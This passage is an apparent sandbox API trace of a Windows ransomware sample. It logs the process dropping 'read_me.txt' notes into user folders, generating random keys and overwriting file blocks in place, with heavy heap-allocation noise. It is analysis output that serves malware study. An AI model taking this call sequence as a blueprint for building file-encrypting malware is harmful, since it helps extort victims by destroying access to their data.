ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0085.829] FindClose (in: hFindFile=0x32fc048 | out: hFindFile=0x32fc048) returned 1 [0085.829] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\read_me.txt") returned 61 [0085.829] GetProcessHeap () returned 0x540000 [0085.829] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42820f8 | out: hHeap=0x540000) returned 1 [0085.829] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 89 [0085.829] GetProcessHeap () returned 0x540000 [0085.829] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b2090 | out: hHeap=0x540000) returned 1 [0085.843] GetProcessHeap () returned 0x540000 [0085.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42820f8 [0085.844] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\PrintHood\\*") returned 32 [0085.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b035650, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0085.844] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\PrintHood\\read_me.txt") returned 42 [0085.844] GetProcessHeap () returned 0x540000 [0085.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42820f8 | out: hHeap=0x540000) returned 1 [0085.844] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 95 [0085.844] GetProcessHeap () returned 0x540000 [0085.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42720f0 | out: hHeap=0x540000) returned 1 [0085.853] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.874] ReadFile (in: hFile=0x8e0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.874] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0085.874] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33437c8 [0085.874] ReadFile (in: hFile=0x8e0, lpBuffer=0x33437c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f280 [0085.874] GetProcessHeap () returned 0x540000 [0085.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.874] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.875] GetProcessHeap () returned 0x540000 [0085.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345d10 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.876] GetProcessHeap () returned 0x540000 [0085.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345d10 | out: hHeap=0x540000) returned 1 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.877] GetProcessHeap () returned 0x540000 [0085.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f280 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.878] GetProcessHeap () returned 0x540000 [0085.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.879] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.879] WriteFile (in: hFile=0x8e0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.880] WriteFile (in: hFile=0x8e0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.880] GetProcessHeap () returned 0x540000 [0085.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33437c8 | out: hHeap=0x540000) returned 1 [0085.880] GetProcessHeap () returned 0x540000 [0085.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.880] GetProcessHeap () returned 0x540000 [0085.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.880] CloseHandle (hObject=0x8e0) returned 1 [0085.880] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 90 [0085.952] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.952] ReadFile (in: hFile=0x8ec, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.952] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.952] GetProcessHeap () returned 0x540000 [0085.952] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.952] GetProcessHeap () returned 0x540000 [0085.952] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0085.952] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0085.952] GetProcessHeap () returned 0x540000 [0085.952] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33437c8 [0085.952] ReadFile (in: hFile=0x8ec, lpBuffer=0x33437c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.025] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.025] WriteFile (in: hFile=0x8ec, lpBuffer=0x33437c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f280 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.025] GetProcessHeap () returned 0x540000 [0086.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.026] GetProcessHeap () returned 0x540000 [0086.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.026] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345d10 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345d10 | out: hHeap=0x540000) returned 1 [0086.027] GetProcessHeap () returned 0x540000 [0086.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 